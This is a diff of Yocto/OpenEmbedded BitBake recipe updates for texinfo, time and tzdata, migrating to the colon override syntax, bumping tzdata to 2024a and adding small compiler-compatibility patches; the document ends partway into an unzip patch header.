5HOMEPAGE = "http://www.gnu.org/software/texinfo/" 5HOMEPAGE = "http://www.gnu.org/software/texinfo/"
6SECTION = "console/utils" 6SECTION = "console/utils"
7LICENSE = "GPLv3+" 7LICENSE = "GPL-3.0-or-later"
8LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464" 8LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
9 9
10PROVIDES_append_class-native = " texinfo-replacement-native" 10PROVIDES:append:class-native = " texinfo-replacement-native"
11 11
12def compress_pkg(d): 12def compress_pkg(d):
13 if bb.data.inherits_class('compress_doc', d): 13 if bb.data.inherits_class('compress_doc', d):
@@ -20,24 +20,21 @@ def compress_pkg(d):
20 return "xz" 20 return "xz"
21 return "" 21 return ""
22 22
23RDEPENDS_info += "${@compress_pkg(d)}" 23RDEPENDS:info += "${@compress_pkg(d)}"
24 24
25DEPENDS = "zlib ncurses texinfo-replacement-native" 25DEPENDS = "zlib ncurses texinfo-replacement-native"
26DEPENDS_class-native = "zlib-native ncurses-native" 26DEPENDS:class-native = "zlib-native ncurses-native"
27 27
28TARGET_PATCH = "file://use_host_makedoc.patch" 28TARGET_PATCH = "file://0003-texinfo-Update-to-5.1.patch"
29TARGET_PATCH_class-native = "" 29TARGET_PATCH:class-native = ""
30 30
31SRC_URI = "${GNU_MIRROR}/texinfo/${BP}.tar.gz \ 31SRC_URI = "${GNU_MIRROR}/texinfo/${BP}.tar.gz \
32 file://texinfo-4.12-zlib.patch \ 32 file://0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch \
33 file://disable-native-tools.patch \ 33 file://0002-dont-depend-on-help2man.patch \
34 file://link-zip.patch \
35 file://dont-depend-on-help2man.patch \
36 ${TARGET_PATCH} \ 34 ${TARGET_PATCH} \
37 " 35 "
38 36
39SRC_URI[md5sum] = "f0c1782f68ef73738d74bd1e9e30793a" 37SRC_URI[sha256sum] = "dd5710b3a53ac002644677a06145748e260592a35be182dc830ebebb79c5d5a0"
40SRC_URI[sha256sum] = "a52d05076b90032cb2523673c50e53185938746482cf3ca0213e9b4b50ac2d3e"
41 38
42tex_texinfo = "texmf/tex/texinfo" 39tex_texinfo = "texmf/tex/texinfo"
43 40
@@ -46,39 +43,41 @@ inherit gettext autotools multilib_script
46MULTILIB_SCRIPTS = "${PN}:${bindir}/texi2any" 43MULTILIB_SCRIPTS = "${PN}:${bindir}/texi2any"
47 44
48EXTRA_AUTORECONF += "-I ${S}/gnulib/m4" 45EXTRA_AUTORECONF += "-I ${S}/gnulib/m4"
46CACHED_CONFIGUREVARS += "texinfo_cv_sys_iconv_converts_euc_cn=yes"
49 47
50do_configure_prepend () { 48do_configure:prepend () {
51 # autotools_do_configure updates po/Makefile.in.in, we also need 49 # autotools_do_configure updates po/Makefile.in.in, we also need
52 # update po_document. 50 # update po_document.
53 cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/po_document/ 51 cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/po_document/
54} 52}
55 53
56do_compile_prepend() { 54do_compile:prepend() {
57 if [ -d tools ];then 55 if [ -d tools ];then
58 oe_runmake -C tools/gnulib/lib 56 oe_runmake -C tools/gnulib/lib
59 fi 57 fi
60} 58}
61 59
62do_install_append() { 60do_install:append() {
63 mkdir -p ${D}${datadir}/${tex_texinfo} 61 mkdir -p ${D}${datadir}/${tex_texinfo}
64 install -p -m644 ${S}/doc/texinfo.tex ${S}/doc/txi-??.tex ${D}${datadir}/${tex_texinfo} 62 install -p -m644 ${S}/doc/texinfo.tex ${S}/doc/txi-??.tex ${D}${datadir}/${tex_texinfo}
65 sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/texi2any ${D}${bindir}/pod2texi 63 sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/texi2any ${D}${bindir}/pod2texi
64 sed -i -e 's,${HOSTTOOLS_DIR},,' ${D}${bindir}/texindex
66} 65}
67 66
68do_install_append_class-native() { 67do_install:append:class-native() {
69 install -m 755 info/makedoc ${D}${bindir} 68 install -m 755 info/makedoc ${D}${bindir}
70} 69}
71 70
72PACKAGES += "info info-doc" 71PACKAGES += "info info-doc"
73 72
74FILES_info = "${bindir}/info ${bindir}/infokey ${bindir}/install-info" 73FILES:info = "${bindir}/info ${bindir}/infokey ${bindir}/install-info"
75FILES_info-doc = "${infodir}/info.info* ${infodir}/dir ${infodir}/info-*.info* \ 74FILES:info-doc = "${infodir}/info.info* ${infodir}/dir ${infodir}/info-*.info* \
76 ${mandir}/man1/info.1* ${mandir}/man5/info.5* \ 75 ${mandir}/man1/info.1* ${mandir}/man5/info.5* \
77 ${mandir}/man1/infokey.1* ${mandir}/man1/install-info.1*" 76 ${mandir}/man1/infokey.1* ${mandir}/man1/install-info.1*"
78 77
79FILES_${PN} = "${bindir}/makeinfo ${bindir}/texi* ${bindir}/pdftexi2dvi ${bindir}/pod2texi ${datadir}/texinfo" 78FILES:${PN} = "${bindir}/makeinfo ${bindir}/texi* ${bindir}/pdftexi2dvi ${bindir}/pod2texi ${datadir}/texinfo"
80RDEPENDS_${PN} = "perl" 79RDEPENDS:${PN} = "perl"
81FILES_${PN}-doc = "${infodir}/texinfo* \ 80FILES:${PN}-doc = "${infodir}/texi* \
82 ${datadir}/${tex_texinfo} \ 81 ${datadir}/${tex_texinfo} \
83 ${mandir}/man1 ${mandir}/man5" 82 ${mandir}/man1 ${mandir}/man5"
84 83
@@ -86,6 +85,6 @@ FILES_${PN}-doc = "${infodir}/texinfo* \
86# but the code will test for it and if not found use Locale::gettext_pp instead. 85# but the code will test for it and if not found use Locale::gettext_pp instead.
87# However, this causes a file dependency on perl(Locale::gettext_xs) to be 86# However, this causes a file dependency on perl(Locale::gettext_xs) to be
88# generated, which must be satisfied. 87# generated, which must be satisfied.
89RPROVIDES_${PN} += "perl(Locale::gettext_xs)" 88RPROVIDES:${PN} += "perl(Locale::gettext_xs)"
90 89
91BBCLASSEXTEND = "native nativesdk" 90BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch b/meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch
new file mode 100644
index 0000000000..f6ea212667
--- /dev/null
+++ b/meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch
@@ -0,0 +1,27 @@
1From c8deae54f92d636878097063b411af9fb5262ad3 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Mon, 15 Aug 2022 07:24:24 -0700
4Subject: [PATCH] include string.h for memset()
5
6Fixes implicit function declaration warning e.g.
7
8resuse.c:103:3: error: call to undeclared library function 'memset' with type 'void *(void *, int, unsigned long)'
9
10Upstream-Status: Submitted [https://lists.gnu.org/archive/html/bug-time/2022-08/msg00001.html]
11Signed-off-by: Khem Raj <raj.khem@gmail.com>
12---
13 src/resuse.c | 1 +
14 1 file changed, 1 insertion(+)
15
16diff --git a/src/resuse.c b/src/resuse.c
17index cf5a08c..9d3d18a 100644
18--- a/src/resuse.c
19+++ b/src/resuse.c
20@@ -22,6 +22,7 @@
21 */
22
23 #include "config.h"
24+#include <string.h>
25 #include <sys/time.h>
26 #include <sys/wait.h>
27 #include <sys/resource.h>
diff --git a/meta/recipes-extended/time/time_1.9.bb b/meta/recipes-extended/time/time_1.9.bb
index e2b084caae..8364210e61 100644
--- a/meta/recipes-extended/time/time_1.9.bb
+++ b/meta/recipes-extended/time/time_1.9.bb
@@ -3,17 +3,19 @@ DESCRIPTION = "time measures many of the CPU resources, such as time and \
3memory, that other programs use." 3memory, that other programs use."
4HOMEPAGE = "http://www.gnu.org/software/time/" 4HOMEPAGE = "http://www.gnu.org/software/time/"
5SECTION = "utils" 5SECTION = "utils"
6LICENSE = "GPLv3" 6LICENSE = "GPL-3.0-only"
7LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504" 7LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
8 8
9inherit texinfo update-alternatives 9inherit texinfo update-alternatives
10 10
11ALTERNATIVE_${PN} = "time" 11ALTERNATIVE:${PN} = "time"
12ALTERNATIVE_PRIORITY = "100" 12ALTERNATIVE_PRIORITY = "100"
13 13
14BBCLASSEXTEND = "native nativesdk" 14BBCLASSEXTEND = "native nativesdk"
15 15
16SRC_URI = "${GNU_MIRROR}/time/time-${PV}.tar.gz" 16SRC_URI = "${GNU_MIRROR}/time/time-${PV}.tar.gz \
17 file://0001-include-string.h-for-memset.patch \
18 "
17 19
18SRC_URI[md5sum] = "d2356e0fe1c0b85285d83c6b2ad51b5f" 20SRC_URI[md5sum] = "d2356e0fe1c0b85285d83c6b2ad51b5f"
19SRC_URI[sha256sum] = "fbacf0c81e62429df3e33bda4cee38756604f18e01d977338e23306a3e3b521e" 21SRC_URI[sha256sum] = "fbacf0c81e62429df3e33bda4cee38756604f18e01d977338e23306a3e3b521e"
diff --git a/meta/recipes-extended/timezone/timezone.inc b/meta/recipes-extended/timezone/timezone.inc
index a89560b424..4734adcc08 100644
--- a/meta/recipes-extended/timezone/timezone.inc
+++ b/meta/recipes-extended/timezone/timezone.inc
@@ -3,16 +3,18 @@ DESCRIPTION = "The Time Zone Database contains code and data that represent \
3the history of local time for many representative locations around the globe." 3the history of local time for many representative locations around the globe."
4HOMEPAGE = "http://www.iana.org/time-zones" 4HOMEPAGE = "http://www.iana.org/time-zones"
5SECTION = "base" 5SECTION = "base"
6LICENSE = "PD & BSD & BSD-3-Clause" 6LICENSE = "PD & BSD-3-Clause"
7LIC_FILES_CHKSUM = "file://LICENSE;md5=c679c9d6b02bc2757b3eaf8f53c43fba" 7LIC_FILES_CHKSUM = "file://LICENSE;md5=c679c9d6b02bc2757b3eaf8f53c43fba"
8 8
9PV = "2021a" 9PV = "2024a"
10 10
11SRC_URI =" http://www.iana.org/time-zones/repository/releases/tzcode${PV}.tar.gz;name=tzcode \ 11SRC_URI =" http://www.iana.org/time-zones/repository/releases/tzcode${PV}.tar.gz;name=tzcode;subdir=tz \
12 http://www.iana.org/time-zones/repository/releases/tzdata${PV}.tar.gz;name=tzdata \ 12 http://www.iana.org/time-zones/repository/releases/tzdata${PV}.tar.gz;name=tzdata;subdir=tz \
13 " 13 "
14 14
15S = "${WORKDIR}/tz"
16
15UPSTREAM_CHECK_URI = "http://www.iana.org/time-zones" 17UPSTREAM_CHECK_URI = "http://www.iana.org/time-zones"
16 18
17SRC_URI[tzcode.sha256sum] = "eb46bfa124b5b6bd13d61a609bfde8351bd192894708d33aa06e5c1e255802d0" 19SRC_URI[tzcode.sha256sum] = "80072894adff5a458f1d143e16e4ca1d8b2a122c9c5399da482cb68cba6a1ff8"
18SRC_URI[tzdata.sha256sum] = "39e7d2ba08c68cbaefc8de3227aab0dec2521be8042cf56855f7dc3a9fb14e08" 20SRC_URI[tzdata.sha256sum] = "0d0434459acbd2059a7a8da1f3304a84a86591f6ed69c6248fffa502b6edffe3"
diff --git a/meta/recipes-extended/timezone/tzcode-native.bb b/meta/recipes-extended/timezone/tzcode-native.bb
index e3582ba674..d0b23a9d80 100644
--- a/meta/recipes-extended/timezone/tzcode-native.bb
+++ b/meta/recipes-extended/timezone/tzcode-native.bb
@@ -1,10 +1,7 @@
1require timezone.inc 1require timezone.inc
2 2
3#
4SUMMARY = "tzcode, timezone zoneinfo utils -- zic, zdump, tzselect" 3SUMMARY = "tzcode, timezone zoneinfo utils -- zic, zdump, tzselect"
5 4
6S = "${WORKDIR}"
7
8inherit native 5inherit native
9 6
10EXTRA_OEMAKE += "cc='${CC}'" 7EXTRA_OEMAKE += "cc='${CC}'"
diff --git a/meta/recipes-extended/timezone/tzdata.bb b/meta/recipes-extended/timezone/tzdata.bb
index f8443110d5..dd1960ffa7 100644
--- a/meta/recipes-extended/timezone/tzdata.bb
+++ b/meta/recipes-extended/timezone/tzdata.bb
@@ -4,207 +4,201 @@ DEPENDS = "tzcode-native"
4 4
5inherit allarch 5inherit allarch
6 6
7RCONFLICTS_${PN} = "timezones timezone-africa timezone-america timezone-antarctica \
8 timezone-arctic timezone-asia timezone-atlantic \
9 timezone-australia timezone-europe timezone-indian \
10 timezone-iso3166.tab timezone-pacific timezone-zone.tab"
11
12S = "${WORKDIR}"
13
14DEFAULT_TIMEZONE ?= "Universal" 7DEFAULT_TIMEZONE ?= "Universal"
15INSTALL_TIMEZONE_FILE ?= "1" 8INSTALL_TIMEZONE_FILE ?= "1"
16 9
17TZONES= "africa antarctica asia australasia europe northamerica southamerica \ 10TZONES = " \
18 factory etcetera backward \ 11 africa antarctica asia australasia europe northamerica southamerica \
19 " 12 factory etcetera backward \
20# pacificnew 13"
21 14
22do_compile () { 15# "slim" is the default since 2020b
23 for zone in ${TZONES}; do \ 16# "fat" is needed by e.g. MariaDB's mysql_tzinfo_to_sql
24 ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo -L /dev/null \ 17ZIC_FMT ?= "slim"
25 ${S}/${zone} ; \ 18
26 ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo/posix -L /dev/null \ 19do_configure[cleandirs] = "${B}"
27 ${S}/${zone} ; \ 20B = "${WORKDIR}/build"
28 ${STAGING_BINDIR_NATIVE}/zic -d ${WORKDIR}${datadir}/zoneinfo/right -L ${S}/leapseconds \ 21
29 ${S}/${zone} ; \ 22do_compile() {
30 done 23 for zone in ${TZONES}; do
24 ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${B}/zoneinfo -L /dev/null ${S}/${zone}
25 ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${B}/zoneinfo/posix -L /dev/null ${S}/${zone}
26 ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${B}/zoneinfo/right -L ${S}/leapseconds ${S}/${zone}
27 done
31} 28}
32 29
33do_install () { 30do_install() {
34 install -d ${D}/$exec_prefix ${D}${datadir}/zoneinfo 31 install -d ${D}${datadir}/zoneinfo
35 cp -pPR ${S}/$exec_prefix ${D}/ 32 cp -pPR ${B}/zoneinfo/* ${D}${datadir}/zoneinfo
36 # libc is removing zoneinfo files from package 33
37 cp -pP "${S}/zone.tab" ${D}${datadir}/zoneinfo 34 # libc is removing zoneinfo files from package
38 cp -pP "${S}/zone1970.tab" ${D}${datadir}/zoneinfo 35 cp -pP "${S}/zone.tab" ${D}${datadir}/zoneinfo
39 cp -pP "${S}/iso3166.tab" ${D}${datadir}/zoneinfo 36 cp -pP "${S}/zone1970.tab" ${D}${datadir}/zoneinfo
40 cp -pP "${S}/leapseconds" ${D}${datadir}/zoneinfo 37 cp -pP "${S}/iso3166.tab" ${D}${datadir}/zoneinfo
41 cp -pP "${S}/leap-seconds.list" ${D}${datadir}/zoneinfo 38 cp -pP "${S}/leapseconds" ${D}${datadir}/zoneinfo
42 39 cp -pP "${S}/leap-seconds.list" ${D}${datadir}/zoneinfo
43 # Install default timezone 40
44 if [ -e ${D}${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ]; then 41 # Install default timezone
45 install -d ${D}${sysconfdir} 42 if [ -e ${D}${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ]; then
46 if [ "${INSTALL_TIMEZONE_FILE}" = "1" ]; then 43 install -d ${D}${sysconfdir}
47 echo ${DEFAULT_TIMEZONE} > ${D}${sysconfdir}/timezone 44 if [ "${INSTALL_TIMEZONE_FILE}" = "1" ]; then
48 fi 45 echo ${DEFAULT_TIMEZONE} > ${D}${sysconfdir}/timezone
49 ln -s ${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ${D}${sysconfdir}/localtime 46 fi
50 else 47 ln -s ${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ${D}${sysconfdir}/localtime
51 bberror "DEFAULT_TIMEZONE is set to an invalid value." 48 else
52 exit 1 49 bberror "DEFAULT_TIMEZONE is set to an invalid value."
53 fi 50 exit 1
54 51 fi
55 chown -R root:root ${D} 52
53 chown -R root:root ${D}
56} 54}
57 55
58pkg_postinst_${PN} () { 56pkg_postinst:${PN}() {
59 etc_lt="$D${sysconfdir}/localtime" 57 etc_lt="$D${sysconfdir}/localtime"
60 src="$D${sysconfdir}/timezone" 58 src="$D${sysconfdir}/timezone"
61 59
62 if [ -e ${src} ] ; then 60 if [ -e "$src" ]; then
63 tz=$(sed -e 's:#.*::' -e 's:[[:space:]]*::g' -e '/^$/d' "${src}") 61 tz=$(sed -e 's:#.*::' -e 's:[[:space:]]*::g' -e '/^$/d' "$src")
64 fi 62 fi
65 63
66 if [ ! -z "${tz}" -a ! -e "$D${datadir}/zoneinfo/${tz}" ] ; then 64 if [ ! -z "$tz" -a ! -e "$D${datadir}/zoneinfo/$tz" ]; then
67 echo "You have an invalid TIMEZONE setting in ${src}" 65 echo "You have an invalid TIMEZONE setting in $src"
68 echo "Your ${etc_lt} has been reset to Universal; enjoy!" 66 echo "Your $etc_lt has been reset to Universal; enjoy!"
69 tz="Universal" 67 tz="Universal"
70 echo "Updating ${etc_lt} with $D${datadir}/zoneinfo/${tz}" 68 echo "Updating $etc_lt with $D${datadir}/zoneinfo/$tz"
71 if [ -L ${etc_lt} ] ; then 69 if [ -L "$etc_lt" ]; then
72 rm -f "${etc_lt}" 70 rm -f "$etc_lt"
73 fi 71 fi
74 ln -s "${datadir}/zoneinfo/${tz}" "${etc_lt}" 72 ln -s "${datadir}/zoneinfo/$tz" "$etc_lt"
75 fi 73 fi
76} 74}
77 75
78# Packages primarily organized by directory with a major city 76# Packages are primarily organized by directory with a major city in most time
79# in most time zones in the base package 77# zones in the base package
80
81TZ_PACKAGES = " \ 78TZ_PACKAGES = " \
82 tzdata-core tzdata-misc tzdata-posix tzdata-right tzdata-africa \ 79 tzdata-core tzdata-misc tzdata-posix tzdata-right tzdata-africa \
83 tzdata-americas tzdata-antarctica tzdata-arctic tzdata-asia \ 80 tzdata-americas tzdata-antarctica tzdata-arctic tzdata-asia \
84 tzdata-atlantic tzdata-australia tzdata-europe tzdata-pacific" 81 tzdata-atlantic tzdata-australia tzdata-europe tzdata-pacific \
82"
85PACKAGES = "${TZ_PACKAGES} ${PN}" 83PACKAGES = "${TZ_PACKAGES} ${PN}"
86 84
87FILES_tzdata-africa += "${datadir}/zoneinfo/Africa/*" 85FILES:tzdata-africa += "${datadir}/zoneinfo/Africa"
88RPROVIDES_tzdata-africa = "tzdata-africa" 86
89 87FILES:tzdata-americas += " \
90FILES_tzdata-americas += "${datadir}/zoneinfo/America/* \ 88 ${datadir}/zoneinfo/America \
91 ${datadir}/zoneinfo/US/* \ 89 ${datadir}/zoneinfo/US \
92 ${datadir}/zoneinfo/Brazil/* \ 90 ${datadir}/zoneinfo/Brazil \
93 ${datadir}/zoneinfo/Canada/* \ 91 ${datadir}/zoneinfo/Canada \
94 ${datadir}/zoneinfo/Mexico/* \ 92 ${datadir}/zoneinfo/Mexico \
95 ${datadir}/zoneinfo/Chile/*" 93 ${datadir}/zoneinfo/Chile \
96RPROVIDES_tzdata-americas = "tzdata-americas" 94"
97 95
98FILES_tzdata-antarctica += "${datadir}/zoneinfo/Antarctica/*" 96FILES:tzdata-antarctica += "${datadir}/zoneinfo/Antarctica"
99RPROVIDES_tzdata-antarctica = "tzdata-antarctica" 97
100 98FILES:tzdata-arctic += "${datadir}/zoneinfo/Arctic"
101FILES_tzdata-arctic += "${datadir}/zoneinfo/Arctic/*" 99
102RPROVIDES_tzdata-arctic = "tzdata-arctic" 100FILES:tzdata-asia += " \
103 101 ${datadir}/zoneinfo/Asia \
104FILES_tzdata-asia += "${datadir}/zoneinfo/Asia/* \ 102 ${datadir}/zoneinfo/Indian \
105 ${datadir}/zoneinfo/Indian/* \ 103 ${datadir}/zoneinfo/Mideast \
106 ${datadir}/zoneinfo/Mideast/*" 104"
107RPROVIDES_tzdata-asia = "tzdata-asia" 105
108 106FILES:tzdata-atlantic += "${datadir}/zoneinfo/Atlantic"
109FILES_tzdata-atlantic += "${datadir}/zoneinfo/Atlantic/*" 107
110RPROVIDES_tzdata-atlantic = "tzdata-atlantic" 108FILES:tzdata-australia += "${datadir}/zoneinfo/Australia"
111 109
112FILES_tzdata-australia += "${datadir}/zoneinfo/Australia/*" 110FILES:tzdata-europe += "${datadir}/zoneinfo/Europe"
113RPROVIDES_tzdata-australia = "tzdata-australia" 111
114 112FILES:tzdata-pacific += "${datadir}/zoneinfo/Pacific"
115FILES_tzdata-europe += "${datadir}/zoneinfo/Europe/*" 113
116RPROVIDES_tzdata-europe = "tzdata-europe" 114FILES:tzdata-posix += "${datadir}/zoneinfo/posix"
117 115
118FILES_tzdata-pacific += "${datadir}/zoneinfo/Pacific/*" 116FILES:tzdata-right += "${datadir}/zoneinfo/right"
119RPROVIDES_tzdata-pacific = "tzdata-pacific" 117
120 118FILES:tzdata-misc += " \
121FILES_tzdata-posix += "${datadir}/zoneinfo/posix/*" 119 ${datadir}/zoneinfo/Cuba \
122RPROVIDES_tzdata-posix = "tzdata-posix" 120 ${datadir}/zoneinfo/Egypt \
123 121 ${datadir}/zoneinfo/Eire \
124FILES_tzdata-right += "${datadir}/zoneinfo/right/*" 122 ${datadir}/zoneinfo/Factory \
125RPROVIDES_tzdata-right = "tzdata-right" 123 ${datadir}/zoneinfo/GB-Eire \
126 124 ${datadir}/zoneinfo/Hongkong \
127FILES_tzdata-misc += "${datadir}/zoneinfo/Cuba \ 125 ${datadir}/zoneinfo/Iceland \
128 ${datadir}/zoneinfo/Egypt \ 126 ${datadir}/zoneinfo/Iran \
129 ${datadir}/zoneinfo/Eire \ 127 ${datadir}/zoneinfo/Israel \
130 ${datadir}/zoneinfo/Factory \ 128 ${datadir}/zoneinfo/Jamaica \
131 ${datadir}/zoneinfo/GB-Eire \ 129 ${datadir}/zoneinfo/Japan \
132 ${datadir}/zoneinfo/Hongkong \ 130 ${datadir}/zoneinfo/Kwajalein \
133 ${datadir}/zoneinfo/Iceland \ 131 ${datadir}/zoneinfo/Libya \
134 ${datadir}/zoneinfo/Iran \ 132 ${datadir}/zoneinfo/Navajo \
135 ${datadir}/zoneinfo/Israel \ 133 ${datadir}/zoneinfo/Poland \
136 ${datadir}/zoneinfo/Jamaica \ 134 ${datadir}/zoneinfo/Portugal \
137 ${datadir}/zoneinfo/Japan \ 135 ${datadir}/zoneinfo/Singapore \
138 ${datadir}/zoneinfo/Kwajalein \ 136 ${datadir}/zoneinfo/Turkey \
139 ${datadir}/zoneinfo/Libya \ 137"
140 ${datadir}/zoneinfo/Navajo \ 138
141 ${datadir}/zoneinfo/Poland \ 139FILES:tzdata-core += " \
142 ${datadir}/zoneinfo/Portugal \ 140 ${sysconfdir}/localtime \
143 ${datadir}/zoneinfo/Singapore \ 141 ${sysconfdir}/timezone \
144 ${datadir}/zoneinfo/Turkey" 142 ${datadir}/zoneinfo/leapseconds \
145RPROVIDES_tzdata-misc = "tzdata-misc" 143 ${datadir}/zoneinfo/leap-seconds.list \
146 144 ${datadir}/zoneinfo/Pacific/Honolulu \
147FILES_tzdata-core += " \ 145 ${datadir}/zoneinfo/America/Anchorage \
148 ${sysconfdir}/localtime \ 146 ${datadir}/zoneinfo/America/Los_Angeles \
149 ${sysconfdir}/timezone \ 147 ${datadir}/zoneinfo/America/Denver \
150 ${datadir}/zoneinfo/leapseconds \ 148 ${datadir}/zoneinfo/America/Chicago \
151 ${datadir}/zoneinfo/leap-seconds.list \ 149 ${datadir}/zoneinfo/America/New_York \
152 ${datadir}/zoneinfo/Pacific/Honolulu \ 150 ${datadir}/zoneinfo/America/Caracas \
153 ${datadir}/zoneinfo/America/Anchorage \ 151 ${datadir}/zoneinfo/America/Sao_Paulo \
154 ${datadir}/zoneinfo/America/Los_Angeles \ 152 ${datadir}/zoneinfo/Europe/London \
155 ${datadir}/zoneinfo/America/Denver \ 153 ${datadir}/zoneinfo/Europe/Paris \
156 ${datadir}/zoneinfo/America/Chicago \ 154 ${datadir}/zoneinfo/Africa/Cairo \
157 ${datadir}/zoneinfo/America/New_York \ 155 ${datadir}/zoneinfo/Europe/Moscow \
158 ${datadir}/zoneinfo/America/Caracas \ 156 ${datadir}/zoneinfo/Asia/Dubai \
159 ${datadir}/zoneinfo/America/Sao_Paulo \ 157 ${datadir}/zoneinfo/Asia/Karachi \
160 ${datadir}/zoneinfo/Europe/London \ 158 ${datadir}/zoneinfo/Asia/Dhaka \
161 ${datadir}/zoneinfo/Europe/Paris \ 159 ${datadir}/zoneinfo/Asia/Bangkok \
162 ${datadir}/zoneinfo/Africa/Cairo \ 160 ${datadir}/zoneinfo/Asia/Hong_Kong \
163 ${datadir}/zoneinfo/Europe/Moscow \ 161 ${datadir}/zoneinfo/Asia/Tokyo \
164 ${datadir}/zoneinfo/Asia/Dubai \ 162 ${datadir}/zoneinfo/Australia/Darwin \
165 ${datadir}/zoneinfo/Asia/Karachi \ 163 ${datadir}/zoneinfo/Australia/Adelaide \
166 ${datadir}/zoneinfo/Asia/Dhaka \ 164 ${datadir}/zoneinfo/Australia/Brisbane \
167 ${datadir}/zoneinfo/Asia/Bangkok \ 165 ${datadir}/zoneinfo/Australia/Sydney \
168 ${datadir}/zoneinfo/Asia/Hong_Kong \ 166 ${datadir}/zoneinfo/Pacific/Noumea \
169 ${datadir}/zoneinfo/Asia/Tokyo \ 167 ${datadir}/zoneinfo/CET \
170 ${datadir}/zoneinfo/Australia/Darwin \ 168 ${datadir}/zoneinfo/CST6CDT \
171 ${datadir}/zoneinfo/Australia/Adelaide \ 169 ${datadir}/zoneinfo/EET \
172 ${datadir}/zoneinfo/Australia/Brisbane \ 170 ${datadir}/zoneinfo/EST \
173 ${datadir}/zoneinfo/Australia/Sydney \ 171 ${datadir}/zoneinfo/EST5EDT \
174 ${datadir}/zoneinfo/Pacific/Noumea \ 172 ${datadir}/zoneinfo/GB \
175 ${datadir}/zoneinfo/CET \ 173 ${datadir}/zoneinfo/GMT \
176 ${datadir}/zoneinfo/CST6CDT \ 174 ${datadir}/zoneinfo/GMT+0 \
177 ${datadir}/zoneinfo/EET \ 175 ${datadir}/zoneinfo/GMT-0 \
178 ${datadir}/zoneinfo/EST \ 176 ${datadir}/zoneinfo/GMT0 \
179 ${datadir}/zoneinfo/EST5EDT \ 177 ${datadir}/zoneinfo/Greenwich \
180 ${datadir}/zoneinfo/GB \ 178 ${datadir}/zoneinfo/HST \
181 ${datadir}/zoneinfo/GMT \ 179 ${datadir}/zoneinfo/MET \
182 ${datadir}/zoneinfo/GMT+0 \ 180 ${datadir}/zoneinfo/MST \
183 ${datadir}/zoneinfo/GMT-0 \ 181 ${datadir}/zoneinfo/MST7MDT \
184 ${datadir}/zoneinfo/GMT0 \ 182 ${datadir}/zoneinfo/NZ \
185 ${datadir}/zoneinfo/Greenwich \ 183 ${datadir}/zoneinfo/NZ-CHAT \
186 ${datadir}/zoneinfo/HST \ 184 ${datadir}/zoneinfo/PRC \
187 ${datadir}/zoneinfo/MET \ 185 ${datadir}/zoneinfo/PST8PDT \
188 ${datadir}/zoneinfo/MST \ 186 ${datadir}/zoneinfo/ROC \
189 ${datadir}/zoneinfo/MST7MDT \ 187 ${datadir}/zoneinfo/ROK \
190 ${datadir}/zoneinfo/NZ \ 188 ${datadir}/zoneinfo/UCT \
191 ${datadir}/zoneinfo/NZ-CHAT \ 189 ${datadir}/zoneinfo/UTC \
192 ${datadir}/zoneinfo/PRC \ 190 ${datadir}/zoneinfo/Universal \
193 ${datadir}/zoneinfo/PST8PDT \ 191 ${datadir}/zoneinfo/W-SU \
194 ${datadir}/zoneinfo/ROC \ 192 ${datadir}/zoneinfo/WET \
195 ${datadir}/zoneinfo/ROK \ 193 ${datadir}/zoneinfo/Zulu \
196 ${datadir}/zoneinfo/UCT \ 194 ${datadir}/zoneinfo/zone.tab \
197 ${datadir}/zoneinfo/UTC \ 195 ${datadir}/zoneinfo/zone1970.tab \
198 ${datadir}/zoneinfo/Universal \ 196 ${datadir}/zoneinfo/iso3166.tab \
199 ${datadir}/zoneinfo/W-SU \ 197 ${datadir}/zoneinfo/Etc \
200 ${datadir}/zoneinfo/WET \ 198"
201 ${datadir}/zoneinfo/Zulu \ 199
202 ${datadir}/zoneinfo/zone.tab \ 200CONFFILES:tzdata-core = "${sysconfdir}/localtime ${sysconfdir}/timezone"
203 ${datadir}/zoneinfo/zone1970.tab \ 201
204 ${datadir}/zoneinfo/iso3166.tab \ 202ALLOW_EMPTY:${PN} = "1"
205 ${datadir}/zoneinfo/Etc/*" 203
206 204RDEPENDS:${PN} = "${TZ_PACKAGES}"
207CONFFILES_tzdata-core = "${sysconfdir}/localtime ${sysconfdir}/timezone"
208
209ALLOW_EMPTY_${PN} = "1"
210RDEPENDS_${PN} = "${TZ_PACKAGES}"
diff --git a/meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch b/meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch
new file mode 100644
index 0000000000..f7e0854cd9
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch
@@ -0,0 +1,112 @@
1From 5ac5885d35257888d0e4a9dda903405314f9fc84 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Wed, 10 Aug 2022 17:53:13 -0700
4Subject: [PATCH] configure: Add correct system headers and prototypes to tests
5
6Newer compilers e.g. clang-15+ have turned stricter towards these
7warnings and turned them into errors which results in subtle failures
8during build, therefore make the testcases use the needed headers and
9modern C
10
